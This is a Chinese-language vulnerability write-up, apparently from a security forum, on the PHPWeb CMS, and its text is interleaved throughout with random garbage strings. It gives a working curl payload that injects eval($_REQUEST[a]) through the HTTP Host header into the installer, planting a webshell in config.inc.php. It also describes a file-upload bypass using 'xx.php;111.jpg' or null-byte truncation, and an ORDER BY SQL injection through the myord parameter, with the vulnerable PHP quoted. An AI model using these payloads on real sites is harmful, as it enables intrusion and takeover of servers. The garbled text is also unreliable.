注入:1 h4 J3 e5 j M, C# r9 \: o
! T( G4 D4 i W4 v
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
+ I5 d+ {( w, m) B# X . g; X( F4 z5 w2 N
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! M9 ~9 \, }8 W$ I# h$ r
鸡肋2: 有一定安全常识的站长都会删掉 install 目录4 c/ L) e* ?, e I! M, R1 D, j
+ ]8 S! y* `; N虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; u6 P. ^5 i, @$ t) k ' J& c6 i0 n' k; Q7 b6 N
分析:
4 O3 z6 U0 T C3 ?: x0 V
5 i! L z4 a/ J 5 z1 g; E' @, F% }' {, d
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
& o2 L) h" I+ }- l, P: L9 b8 w
1 M5 {: u0 @& ?8 I7 h! A Z w5 v) M $filestr = fread(fopen($SysConfigFile, 'r'),30000);
" y* O! q6 z: F# W3 B- M$ d $filestr=str_replace(" ","",$filestr);, R/ V+ N# R9 B* Q0 e
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);2 ]4 ?2 x8 X8 n5 S9 N: s
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 ~5 X7 v! z* x) Q8 W3 R $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
# J% O4 v8 Z1 a5 u0 b* ` $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);# W$ Y5 q, P7 y5 f
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; ~& [) R' }& P% j0 m: u $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 C$ f" J, w) s* r+ O, X $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);) j1 `2 n) `$ H/ F) Z2 b3 X! D: _* {
0 S6 t, I2 K3 i0 K1 A9 ^: R fwrite(fopen($ConFile,"w"),$filestr,30000);
. q: Z4 k" D+ B. T: K$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 U2 x8 O: d4 i9 w- w
* H6 K' h8 p* T x7 \) @& @, }poc:
0 {- a5 h9 n C7 W 7 d l( K+ ^7 @! Z4 ~* x
?: }7 ^9 k% m" X8 Z5 W3 Y
1
9 j6 P5 w4 O( Z( g x: `curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"9 @. x& ~" z; c/ n* t
shell地址: /config.inc.php
+ S- m; d/ g8 Z ?' s1 g5 \跟之前的 phpcms一样 需要远程数据库! d- _# R I X3 [9 P
3 i6 f8 D; \9 F8 W7 L) O
——————————————————–
+ L+ E+ O" |4 z% U! Z$ o6 d上传漏洞(需要进后台):5 I" _/ D3 b: O
漏洞文件: /kedit/upload_cgi/upload.php' } b" x3 t6 ?+ ?6 {# a
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
9 I6 s( o- U: e! d2 m
4 u+ G; x6 I/ \6 o4 n( Y8 c; n $ Z5 Y3 L* I1 q) S# ^
<?php* ?" V. \5 P+ r! _
define("ROOTPATH", "../../");
5 K @/ d* A( q$ s$ O, ?6 |" U include(ROOTPATH."includes/admin.inc.php");4 t) d+ k! R: A' O
NeedAuth(0);
1 ? C. x$ b% ?9 s! g" \" C% W 0 {$ U3 }7 n \# W8 W
$dt=date("Ymd",time());
; O2 H$ F8 h" C. q8 V. q% G4 k( V if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){) C/ E& x% ~. Z8 b) z% v
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);" M. X1 M" X/ O" _; _
}: Z( f2 R$ K, F$ U0 V6 i6 C2 w9 C
+ w, B9 |& F( o1 _# D7 F. F
//文件保存目录路径2 n& o& N- Z7 j
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';6 @' w) X N* ~6 Q* G
echo $save_path;+ p* ?0 E# l8 y: n3 Z0 j% M2 K; ?0 z
//文件保存目录URL
7 z. ]; R+ V8 N3 F ?! Z $save_url = '../../'.$_POST['attachPath'].$dt.'/';, x' e# R8 T) `- b3 R0 l6 ]
& x# i9 O( S9 g( q- X //定义允许上传的文件扩展名
6 E/ |6 P- L, I$ n$ F $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
/ G. A. Z$ ^, M4 k. M
' R/ P# W2 H) e7 ~5 F$ d) ~ //最大文件大小' [5 [' Q( D9 S% p, f( ~" w
$max_size = 1000000;% L. \: K: ]$ b
! i- D& _. e0 q/ D# |& \
//更改目录权限$ f) @2 ]8 G' h
@mkdir($save_path, 0777);8 n' a+ i3 @! W. P# l# h
. `9 z7 K f+ p& e //文件的全部路径
* M% |1 J" Y( c8 w7 \ $file_path = $save_path.$_POST['fileName']; //保存文件名
; s( c8 }+ e6 W8 r+ m4 B
2 \* a; \: |( u //文件URL
7 n5 F, T# ~- T $file_url = $save_url.$_POST['fileName'];
" E* w' H; o" y, k+ B( s//有上传文件时" G: h) \+ N' k+ V6 u* {; {
if (empty($_FILES) === false) {, M* T6 Y' L7 A& N0 a* b4 L! Y
7 _: d) A) \6 y2 k$ @
//原文件名
$ ]8 q; v( v) W: P4 E0 d1 w* c $file_name = $_FILES['fileData']['name'];
) P3 D' ^* r& L& M) \ //服务器上临时文件名
+ N) Q# ~+ a% ?9 ]( D $tmp_name = $_FILES['fileData']['tmp_name'];
6 v" y5 S8 ]9 g- T# ]( C //文件大小6 I$ \2 k/ m* ]; I
$file_size = $_FILES['fileData']['size'];' r- Y, d" |/ z6 \5 J3 Z
//检查目录! F4 d: P; V& d. F
if (@is_dir($save_path) === false) { G" z7 X! S# ~. Z3 i i
alert("上传目录不存在。");
% \/ D' U7 c' ~% f. K }3 m* q; C- N- |5 q1 m
//检查目录写权限
+ J- v: |8 j# {/ p, |) c5 @# u if (@is_writable($save_path) === false) { R, s; w- K; m/ e: @
alert("上传目录没有写权限。");+ j" M4 V: G8 w1 b/ O
}
. D$ c6 o r! j" k( ?* i7 l8 C //检查是否已上传
6 B! |0 ~) H6 L3 s$ b6 Q! \2 f if (@is_uploaded_file($tmp_name) === false) {: ]& {# P) A6 }/ C& T
alert("临时文件可能不是上传文件。");
0 g6 `; ?6 \7 j) g; n }
; X$ {. ^) L1 x' _5 ~! z7 p' I //检查文件大小" p5 E3 t6 m/ k9 `
if ($file_size > $max_size) {0 y6 b5 ~# ]+ C% P4 P& P1 H
alert("上传文件大小超过限制。");. \" |' e* k. c, ^" i h
}
0 s$ e# X' c! u/ U2 ~: D //获得文件扩展名1 ?0 L4 N7 \6 d) F* P$ C% [4 V
$temp_arr = explode(".", $_POST['fileName']);( p6 ~: g3 M2 v k) f6 y
$file_ext = array_pop($temp_arr);
$ x; R. c% ^7 I9 b3 y $file_ext = trim($file_ext);
& ^! Y0 K5 @+ N $file_ext = strtolower($file_ext);
- [/ E4 q& _7 ^1 Q/ Y" A3 l( f: f 6 E/ k4 m1 |, p3 w7 ]
//检查扩展名
1 V% R* ?, t* M2 f if (in_array($file_ext, $ext_arr) === false) { 1 e# x; j& [+ D. \2 G8 z9 M! a
alert("上传文件扩展名是不允许的扩展名。");
9 [0 O1 h! H+ z3 j( F, H9 P% l5 Z }: W! s: r9 @! f& k! r0 w# [
[" R/ H) ]$ R5 V% I' i: O5 Y H
//移动文件 ' A/ u) i1 y! m
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
) O* g; `1 b# d* p. q, R J if (move_uploaded_file($tmp_name, $file_path) === false) {
+ }8 M! ]2 `) {6 k. `) z. W% c alert("上传文件失败。");1 |2 ]: i% f# f2 g
}
; u! g2 M P6 C( V
$ Y: A T* v) P9 f$ `1 b @chmod($file_path,0666);
; E4 s; j, ~1 S/ c+ i6 f! E: o
$ I( L4 {5 a: F; K" z g$ H$ r ?>- w6 v! @) l$ C6 O% P
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
: ]; g: G6 c% D, c) Y9 e 8 p0 Q; o+ l) @) F0 q6 U3 }7 ]
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过* j* T! H' Z, I
0 z \4 l0 O' {$ i——————————————————1 R6 _5 M! k) E" O
注入漏洞:
- w" T9 U }+ x漏洞文件:search/module/search.php8 R7 S, M8 I: g- N, A! m+ F3 Z
/search/index.php?key=1&myord=1 [sqlinjection]
7 w* A' z9 o8 Q8 q; F! X7 y
7 X+ U: m/ n# U# _. j( c
. [1 q6 n+ R( e" O" g- g7 \<?php
, ~$ g9 I( _8 q3 y: N // ... 省略 n 行...: O. v$ I4 D8 }4 j" s
//第18行:: k. Y: j9 {7 B# s9 p
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
* q8 n" m: Q& o& q R+ b' V $page=htmlspecialchars($_GET["page"]);
2 P* r4 h7 b' `7 J $myord=htmlspecialchars($_GET["myord"]);# N9 N& x" h4 t/ I* H0 b* R
$ l9 o1 y* E ` r& _
// ... 省略 n 行...7 H* R, q) a+ _# N! o
$key,$myord 两个参数带入查询
+ Y7 s! h, X- Q" }) W. A; U6 [' Z //第47行 $key:: h c. s+ o- f7 g
) O2 w2 O& l: G8 o
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
# l& V3 t7 F3 M # f' ]! A( U a, H
//第197行 $myord& h$ S; H* ~( F& O; \1 V3 F
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入' v1 o! s/ K E2 I7 U" z+ v
" X9 I" W3 j/ F1 b# E4 L ?>
" q/ M! J" Q4 ^* U* J8 l" g% H, ?+ J |